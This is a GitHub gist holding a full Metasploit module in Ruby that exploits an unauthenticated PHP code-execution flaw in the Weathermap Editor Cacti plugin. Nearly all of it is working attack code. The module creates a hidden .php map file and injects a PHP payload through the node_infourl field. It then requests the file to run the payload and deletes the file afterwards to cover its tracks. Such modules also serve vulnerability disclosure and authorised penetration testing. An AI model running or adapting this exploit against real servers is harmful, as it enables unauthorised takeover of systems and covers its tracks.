Created
August 23, 2016 18:01
-
-
Save gerry/d977490319a474b9d777538452018b54 to your computer and use it in GitHub Desktop.
Weathermap Editor (cacti plugin) Arbitrary Code Execution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This file is part of the Metasploit Framework and may be subject to | |
# redistribution and commercial restrictions. Please see the Metasploit | |
# web site for more information on licensing and terms of use. | |
# http://metasploit.com/ | |
## | |
require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpClient | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Weathermap Editor Arbitrary Code Execution', | |
'Description' => %q{ | |
This module exploits an arbitrary PHP code execution flaw in the Weathermap | |
Editor Cacti plugin. Authentication is not required to exploit the bug. | |
Version 0.97a and earlier of Weathermap Editor are affected. | |
}, | |
'Author' => | |
[ | |
'Gerry Eisenhaur', # Vulnerability Discovery and Metasploit module | |
], | |
'License' => BSD_LICENSE, | |
'References' => [], | |
'Privileged' => false, | |
'Platform' => ['php'], | |
'Arch' => ARCH_PHP, | |
'Payload' => | |
{ | |
'Keys' => ['php'], | |
}, | |
'Targets' => [ ['Automatic', { }] ], | |
'DefaultTarget' => 0, | |
'DisclosureDate' => 'Apr 1 2013')) | |
register_options( | |
[ | |
OptBool.new('SSL', [true, 'Use SSL', false]), | |
OptString.new('URI', [ true, "The full URI path to editor.php", '/plugins/weathermap/editor.php']), | |
], self.class) | |
end | |
def check | |
response = send_request_cgi({ | |
'method' => "GET", | |
'uri' => normalize_uri(datastore['URI']), | |
}, 25) | |
if response.code == 200 and response.body =~ /\<title\>PHP Weathermap Editor/ | |
return Exploit::CheckCode::Vulnerable | |
end | |
return Exploit::CheckCode::Safe | |
end | |
def exploit | |
mapname = "." + Rex::Text.rand_text_alpha(8) + ".php" | |
uri = normalize_uri(datastore['URI']) | |
print_status("Creating new map: #{mapname}") | |
response = send_request_cgi({ | |
'method' => "GET", | |
'uri' => uri, | |
'vars_get' => { | |
'action' => 'newmap', | |
'mapname' => mapname | |
} | |
}) | |
if response and response.code != 200 | |
print_error("Error creating map!") | |
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})") | |
end | |
print_status("Adding a node to the map.") | |
response = send_request_cgi({ | |
'method' => "POST", | |
'uri' => uri, | |
'vars_post' => { | |
'action' => 'add_node', | |
'mapname' => mapname | |
} | |
}) | |
if response and response.code != 200 | |
print_error("Error creating new node!") | |
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})") | |
end | |
if not response.body =~ /\<pre\>added a node called (node[\d]*) at/ | |
print_error("No node name found") | |
fail_with(Exploit::Failure::UnexpectedReply, "No node name found") | |
end | |
print_status("Sending payload...") | |
clean_up_payload = framework.payloads.create('php/exec') | |
clean_up_payload.datastore["CMD"] = "rm #{mapname}" | |
response = send_request_cgi({ | |
'method' => "POST", | |
'uri' => uri, | |
'vars_post' => { | |
'action' => 'set_node_properties', | |
'mapname' => mapname, | |
'node_name' => $1, | |
'node_infourl' => "<?php #{payload.encoded}; #{clean_up_payload.generate} ?>" | |
} | |
}) | |
if response and response.code != 200 | |
print_error("Error setting attributes on node!") | |
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})") | |
end | |
print_status("Executing payload...") | |
response = send_request_cgi({ | |
'method' => "GET", | |
'uri' => uri.sub('editor.php', 'configs/') + mapname | |
}) | |
if response and response.code != 200 | |
print_error("Error executing payload!") | |
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})") | |
end | |
print_status("Done.") | |
handler | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment